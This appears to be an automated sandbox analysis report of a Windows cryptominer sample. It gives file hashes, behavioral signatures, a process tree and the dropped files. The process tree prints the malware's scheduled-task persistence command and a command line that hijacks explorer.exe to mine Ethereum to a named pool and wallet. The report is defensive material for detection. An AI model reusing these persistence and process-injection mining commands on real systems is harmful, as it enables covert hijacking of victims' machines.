Analysis
-
max time kernel
253s -
max time network
137s -
platform
windows10_x64 -
resource
win10-20220414-en -
submitted
05-07-2022 22:15
Static task
static1
Behavioral task
behavioral1
Sample
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
Resource
win10-20220414-en
General
-
Target
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
-
Size
942KB
-
MD5
a92015618b79adee683000eaaaa30c83
-
SHA1
fd2c04199f3e58c13bd2876bf38702ba3f172f75
-
SHA256
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a
-
SHA512
5a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65
Malware Config
Signatures
-
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
BKIVNA.exepid process 2624 BKIVNA.exe -
Processes:
resource yara_rule behavioral2/memory/1920-128-0x0000000140000000-0x0000000142EFE000-memory.dmp upx behavioral2/memory/1920-130-0x0000000140000000-0x0000000142EFE000-memory.dmp upx -
Suspicious use of SetThreadContext 1 IoCs
Processes:
BKIVNA.exedescription pid process target process PID 2624 set thread context of 1920 2624 BKIVNA.exe explorer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 2068 timeout.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
BKIVNA.exepid process 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe 2624 BKIVNA.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exeBKIVNA.exedescription pid process Token: SeDebugPrivilege 2192 239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe Token: SeDebugPrivilege 2624 BKIVNA.exe -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.execmd.exeBKIVNA.execmd.exedescription pid process target process PID 2192 wrote to memory of 3264 2192 239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe cmd.exe PID 2192 wrote to memory of 3264 2192 239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe cmd.exe PID 3264 wrote to memory of 2068 3264 cmd.exe timeout.exe PID 3264 wrote to memory of 2068 3264 cmd.exe timeout.exe PID 3264 wrote to memory of 2624 3264 cmd.exe BKIVNA.exe PID 3264 wrote to memory of 2624 3264 cmd.exe BKIVNA.exe PID 2624 wrote to memory of 4052 2624 BKIVNA.exe cmd.exe PID 2624 wrote to memory of 4052 2624 BKIVNA.exe cmd.exe PID 4052 wrote to memory of 3672 4052 cmd.exe schtasks.exe PID 4052 wrote to memory of 3672 4052 cmd.exe schtasks.exe PID 2624 wrote to memory of 1920 2624 BKIVNA.exe explorer.exe PID 2624 wrote to memory of 1920 2624 BKIVNA.exe explorer.exe PID 2624 wrote to memory of 1920 2624 BKIVNA.exe explorer.exe PID 2624 wrote to memory of 1920 2624 BKIVNA.exe explorer.exe PID 2624 wrote to memory of 1920 2624 BKIVNA.exe explorer.exe PID 2624 wrote to memory of 1920 2624 BKIVNA.exe explorer.exe PID 2624 wrote to memory of 1920 2624 BKIVNA.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe"C:\Users\Admin\AppData\Local\Temp\239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6A19.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\win32\BKIVNA.exe"C:\ProgramData\win32\BKIVNA.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "BKIVNA" /tr "C:\ProgramData\win32\BKIVNA.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --algo ETHASH --pool eth.2miners.com:2020 --user 0xd3e33ee5d3c0be3da5f6a9516fd52bc9a877677b.RIGA_14⤵
-
C:\Windows\system32\timeout.exetimeout 31⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "BKIVNA" /tr "C:\ProgramData\win32\BKIVNA.exe"1⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\win32\BKIVNA.exeFilesize
942KB
MD5a92015618b79adee683000eaaaa30c83
SHA1fd2c04199f3e58c13bd2876bf38702ba3f172f75
SHA256239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a
SHA5125a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65
-
C:\ProgramData\win32\BKIVNA.exeFilesize
942KB
MD5a92015618b79adee683000eaaaa30c83
SHA1fd2c04199f3e58c13bd2876bf38702ba3f172f75
SHA256239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a
SHA5125a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65
-
C:\Users\Admin\AppData\Local\Temp\tmp6A19.tmp.batFilesize
140B
MD5c2de7f7a0fb9c69837de81c6915ad6a6
SHA16206d587ed1866a4b850a1c65d0bccafe4977bde
SHA25649a90e07375b3c3f9be5104209a9dc18c9036df52553629d6bf30820a4689bdf
SHA5121d953b2c80630a216fac3579cb5a148785c60afd8a2e5a1ff86cd35bfe3ee512b965c2ddae72df8320148a41705a9d07fb414810331ef6bcb6fe662d1253a152
-
memory/1920-129-0x0000000142EFC000-mapping.dmp
-
memory/1920-128-0x0000000140000000-0x0000000142EFE000-memory.dmpFilesize
47.0MB
-
memory/1920-130-0x0000000140000000-0x0000000142EFE000-memory.dmpFilesize
47.0MB
-
memory/2068-122-0x0000000000000000-mapping.dmp
-
memory/2192-119-0x0000000000BB0000-0x0000000000CA0000-memory.dmpFilesize
960KB
-
memory/2624-123-0x0000000000000000-mapping.dmp
-
memory/3264-120-0x0000000000000000-mapping.dmp
-
memory/3672-127-0x0000000000000000-mapping.dmp
-
memory/4052-126-0x0000000000000000-mapping.dmp